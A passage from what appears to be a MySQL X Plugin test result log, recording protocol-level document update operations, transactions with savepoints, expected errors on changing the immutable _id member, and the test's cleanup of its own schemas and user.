"\"xtest_>=\"", "amount": 387.14, "last_name": "\"xtest_!=\""} 4 {"_id": "5", "name": "\"xtest_>=\"", "amount": 125.45, "last_name": "\"Limit1OrderDesc\""} 5 0 rows affected Update with order clause update first two _id in asc order (_id = 1,2) send Mysqlx.Crud.Update { collection { name: "maincoll" schema: "mysqlxcoll" } data_model: DOCUMENT criteria { type: OPERATOR operator { name: "!=" param { type: IDENT identifier { document_path { type: MEMBER value: "_id" } } } param { type: LITERAL literal { type: V_OCTETS v_octets { value: "0" } } } } } limit { row_count: 2 } order { expr { type: IDENT identifier { name: "_id" } } direction: ASC } operation { source { document_path { type: MEMBER value: "last_name" } } operation: ITEM_SET value { type: LITERAL literal { type: V_STRING v_string { value: "\"Limit2OrderAsc\"" } } } } } 2 rows affected Rows matched: 2 Changed: 2 Warnings: 0 RUN select * from maincoll doc _id {"_id": "1", "name": "\"xtest_<=\"", "amount": 4.99, "last_name": "\"Limit2OrderAsc\""} 1 {"_id": "2", "name": "\"xtest_<=\"", "amount": 120.57, "last_name": "\"Limit2OrderAsc\""} 2 {"_id": "3", "name": "\"xtest_<=\"", "amount": 74.56, "last_name": "\"xtest_!=\""} 3 {"_id": "4", "name": "\"xtest_>=\"", "amount": 387.14, "last_name": "\"xtest_!=\""} 4 {"_id": "5", "name": "\"xtest_>=\"", "amount": 125.45, "last_name": "\"Limit1OrderDesc\""} 5 0 rows affected Invalid type of update for Document send Mysqlx.Crud.Update { collection { name: "maincoll" schema: "mysqlxcoll" } data_model: DOCUMENT criteria { type: OPERATOR operator { name: ">" param { type: IDENT identifier { document_path { type: MEMBER value: "_id" } } } param { type: LITERAL literal { type: V_OCTETS v_octets { value: "3" } } } } } operation { source { document_path { type: MEMBER value: "name" } } operation: SET value { type: LITERAL literal { type: V_STRING v_string { value: "xtest" } } } } } Got expected error: Invalid type of update operation for document (code 5051) Update multiple column + transaction RUN START TRANSACTION 0 rows affected send Mysqlx.Crud.Update { collection { name: "maincoll" schema: "mysqlxcoll" } data_model: DOCUMENT criteria { type: OPERATOR operator { name: ">" param { type: IDENT identifier { document_path { type: MEMBER value: "_id" } } } param { type: LITERAL literal { type: V_OCTETS v_octets { value: "3" } } } } } operation { source { document_path { type: MEMBER value: "name" } } operation: ITEM_SET value { type: LITERAL literal { type: V_STRING v_string { value: "name_mul_update_save_a" } } } } operation { source { document_path { type: MEMBER value: "last_name" } } operation: ITEM_SET value { type: LITERAL literal { type: V_STRING v_string { value: "last_name_mul_update_save_a" } } } } } 2 rows affected Rows matched: 2 Changed: 2 Warnings: 0 RUN SELECT * FROM mysqlxcoll.maincoll where _id > 3 doc _id {"_id": "4", "name": "name_mul_update_save_a", "amount": 387.14, "last_name": "last_name_mul_update_save_a"} 4 {"_id": "5", "name": "name_mul_update_save_a", "amount": 125.45, "last_name": "last_name_mul_update_save_a"} 5 0 rows affected RUN SAVEPOINT A 0 rows affected send Mysqlx.Crud.Update { collection { name: "maincoll" schema: "mysqlxcoll" } data_model: DOCUMENT criteria { type: OPERATOR operator { name: ">" param { type: IDENT identifier { document_path { type: MEMBER value: "_id" } } } param { type: LITERAL literal { type: V_OCTETS v_octets { value: "3" } } } } } operation { source { document_path { type: MEMBER value: "name" } } operation: ITEM_SET value { type: LITERAL literal { type: V_STRING v_string { value: "name_mul_update_save_b" } } } } operation { source { document_path { type: MEMBER value: "last_name" } } operation: ITEM_SET value { type: LITERAL literal { type: V_STRING v_string { value: "last_name_mul_update_save_b" } } } } } 2 rows affected Rows matched: 2 Changed: 2 Warnings: 0 RUN SELECT * FROM mysqlxcoll.maincoll where _id > 3 doc _id {"_id": "4", "name": "name_mul_update_save_b", "amount": 387.14, "last_name": "last_name_mul_update_save_b"} 4 {"_id": "5", "name": "name_mul_update_save_b", "amount": 125.45, "last_name": "last_name_mul_update_save_b"} 5 0 rows affected RUN ROLLBACK TO SAVEPOINT A 0 rows affected RUN COMMIT 0 rows affected RUN SELECT * FROM mysqlxcoll.maincoll where _id > 3 doc _id {"_id": "4", "name": "name_mul_update_save_a", "amount": 387.14, "last_name": "last_name_mul_update_save_a"} 4 {"_id": "5", "name": "name_mul_update_save_a", "amount": 125.45, "last_name": "last_name_mul_update_save_a"} 5 0 rows affected document member _id is immutable send Mysqlx.Crud.Update { collection { name: "maincoll" schema: "mysqlxcoll" } data_model: DOCUMENT criteria { type: OPERATOR operator { name: "==" param { type: IDENT identifier { document_path { type: MEMBER value: "last_name" } } } param { type: LITERAL literal { type: V_STRING v_string { value: "Chrystens" } } } } } operation { source { document_path { type: MEMBER value: "_id" } } operation: ITEM_SET value { type: LITERAL literal { type: V_OCTETS v_octets { value: "11" } } } } } Got expected error: Forbidden update operation on '$._id' member (code 5053) RUN SELECT * FROM mysqlxcoll.maincoll doc _id {"_id": "1", "name": "\"xtest_<=\"", "amount": 4.99, "last_name": "\"Limit2OrderAsc\""} 1 {"_id": "2", "name": "\"xtest_<=\"", "amount": 120.57, "last_name": "\"Limit2OrderAsc\""} 2 {"_id": "3", "name": "\"xtest_<=\"", "amount": 74.56, "last_name": "\"xtest_!=\""} 3 {"_id": "4", "name": "name_mul_update_save_a", "amount": 387.14, "last_name": "last_name_mul_update_save_a"} 4 {"_id": "5", "name": "name_mul_update_save_a", "amount": 125.45, "last_name": "last_name_mul_update_save_a"} 5 0 rows affected document member _id is immutable but _id column can be updated send Mysqlx.Crud.Update { collection { name: "maincoll" schema: "mysqlxcoll" } data_model: TABLE criteria { type: OPERATOR operator { name: "==" param { type: IDENT identifier { document_path { type: MEMBER value: "last_name" } } } param { type: LITERAL literal { type: V_STRING v_string { value: "Chrystens" } } } } } operation { source { name: "_id" } operation: SET value { type: LITERAL literal { type: V_OCTETS v_octets { value: "11" } } } } } 0 rows affected Rows matched: 0 Changed: 0 Warnings: 0 RUN SELECT * FROM mysqlxcoll.maincoll doc _id {"_id": "1", "name": "\"xtest_<=\"", "amount": 4.99, "last_name": "\"Limit2OrderAsc\""} 1 {"_id": "2", "name": "\"xtest_<=\"", "amount": 120.57, "last_name": "\"Limit2OrderAsc\""} 2 {"_id": "3", "name": "\"xtest_<=\"", "amount": 74.56, "last_name": "\"xtest_!=\""} 3 {"_id": "4", "name": "name_mul_update_save_a", "amount": 387.14, "last_name": "last_name_mul_update_save_a"} 4 {"_id": "5", "name": "name_mul_update_save_a", "amount": 125.45, "last_name": "last_name_mul_update_save_a"} 5 0 rows affected Update using multiple condition send Mysqlx.Crud.Update { collection { name: "maincoll" schema: "mysqlxcoll" } data_model: DOCUMENT criteria { type: OPERATOR operator { name: "&&" param { type: OPERATOR operator { name: ">=" param { type: IDENT identifier { document_path { type: MEMBER value: "_id" } } } param { type: LITERAL literal { type: V_SINT v_signed_int: 4 } } } } param { type: OPERATOR operator { name: "==" param { type: IDENT identifier { name: "_id" } } param { type: LITERAL literal { type: V_SINT v_signed_int: 4 } } } } } } operation { source { document_path { type: MEMBER value: "amount" } } operation: ITEM_SET value { type: LITERAL literal { type: V_OCTETS v_octets { value: "444" } } } } } 1 rows affected Rows matched: 1 Changed: 1 Warnings: 0 RUN SELECT * FROM mysqlxcoll.maincoll doc _id {"_id": "1", "name": "\"xtest_<=\"", "amount": 4.99, "last_name": "\"Limit2OrderAsc\""} 1 {"_id": "2", "name": "\"xtest_<=\"", "amount": 120.57, "last_name": "\"Limit2OrderAsc\""} 2 {"_id": "3", "name": "\"xtest_<=\"", "amount": 74.56, "last_name": "\"xtest_!=\""} 3 {"_id": "4", "name": "name_mul_update_save_a", "amount": "444", "last_name": "last_name_mul_update_save_a"} 4 {"_id": "5", "name": "name_mul_update_save_a", "amount": 125.45, "last_name": "last_name_mul_update_save_a"} 5 0 rows affected ================================================================================ CLEAN UP ================================================================================ RUN DROP SCHEMA if EXISTS mysqlxplugin 1 rows affected RUN DROP SCHEMA if EXISTS mysqlxcoll 1 rows affected RUN DROP USER updatecruduser@localhost 0 rows affected RUN SET SQL_SAFE_UPDATES = 1 0 rows affected Mysqlx.Ok { msg: "bye!" } ok ================================================================================ POSTAMBLE ================================================================================ uninstall plugin mysqlx;
Close